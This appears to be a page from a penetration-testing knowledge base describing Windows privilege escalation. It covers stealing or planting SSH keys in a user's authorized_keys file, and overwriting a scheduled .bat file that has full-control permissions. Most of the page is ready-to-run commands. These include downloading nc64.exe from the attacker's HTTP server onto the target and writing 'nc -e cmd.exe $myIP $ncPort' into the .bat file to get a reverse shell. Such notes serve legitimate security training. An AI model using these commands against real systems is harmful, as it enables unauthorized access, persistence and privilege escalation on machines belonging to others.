> For the complete documentation index, see [llms.txt](https://kryptocoder.gitbook.io/hacking-knowledge/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kryptocoder.gitbook.io/hacking-knowledge/penetration-testing/process-stages/post-exploitation/privilege-escalation/windows-privilege-escalation.md).

# Windows Privilege Escalation

Here are some techniques for achieving privilege escalation on *Windows* systems:

## <mark style="color:orange;">Abusing SSH keys</mark>

* Check whether we have read permissions on the SSH private keys of a user

{% code overflow="wrap" lineNumbers="true" %}

```bash
#On the target machine
type C:\Users\$user\.ssh\$keyfile    #For a user
```

{% endcode %}

{% hint style="info" %}
Standard key files are called *id\_rsa*
{% endhint %}

***

* Copy the keys to a file, assign permissions to the file, and use it to log in using the key

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>#On our machine
</strong><strong>nano $filename # Copy the keys here
</strong><strong>chmod 600 $filename
</strong>ssh $username@$IP -i $filename
</code></pre>

{% hint style="info" %}
Use `chmod 600 id_rsa` to assign restrictive permissions, and SSH does not block this method
{% endhint %}

***

* When having write permissions on the `.ssh/` directory of a user, we can generate an SSH key with the current user and pass it to the system

{% code overflow="wrap" lineNumbers="true" %}

```bash
ssh-keygen -f $keyfile
```

{% endcode %}

{% hint style="info" %}
This will generate the file with a private key for the user and a `.pub` file with a public key
{% endhint %}

***

* Pass the public key to the authorized keys file of the *root* user

{% code overflow="wrap" lineNumbers="true" %}

```bash
type $keyfilename.pub > C:\Users\$user\.ssh\authorized_keys
```

{% endcode %}

***

* Use this to log in as the user using the key

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>ssh $username@$IP -i $keyfile 
</strong></code></pre>

## <mark style="color:orange;">Abusing .bat files with full control permissions</mark>

In the situation where a *.bat* file (script file for Windows) is being executed on the system, and it has full-control permissions, it's possible to abuse this to modify the content of the *.bat* file and execute commands with privileges arbitrarily

* Try spawning PowerShell from the *CMD* with any user we have access to

{% code overflow="wrap" lineNumbers="true" %}

```powershell
...> powershell
PS ...>            #If it worked, the command line will look like this
```

{% endcode %}

***

* Find a *.bat* file, and check if it has full-control permissions. If it does, check if it is calling any process and if any of them is still running

<pre class="language-powershell" data-overflow="wrap" data-line-numbers><code class="lang-powershell"><strong>icacls $batFile #Check permissions
</strong><strong>cat $batFile    #Check the content to know if it is calling any process
</strong><strong>ps              #Check if called processes are still running
</strong></code></pre>

***

* Download and import a *Netcat* executable for *Windows*

{% code overflow="wrap" lineNumbers="true" %}

```powershell
# In our machine
wget https://github.com/int0x33/nc.exe/blob/master/nc64.exe #Get NC executable
python3 -m http.server $myPort #In the folder where we have the executable

# In the target machine
wget http://$myIP:$myPort/nc64.exe -outfile nc64.exe
```

{% endcode %}

***

* Set a *Netcat* listener to catch the connection and replace the content of the *.bat* file with a command spawning the *Netcat* executable

{% code overflow="wrap" lineNumbers="true" %}

```powershell
# On our machine
nc -nvlp $ncPort

# On the target machine
echo $ncFilePath -e cmd.exe $myIP $ncPort > $batFilePath
```

{% endcode %}

{% hint style="info" %}
Then we just had to wait for the system to run the script again, now executing our payload
{% endhint %}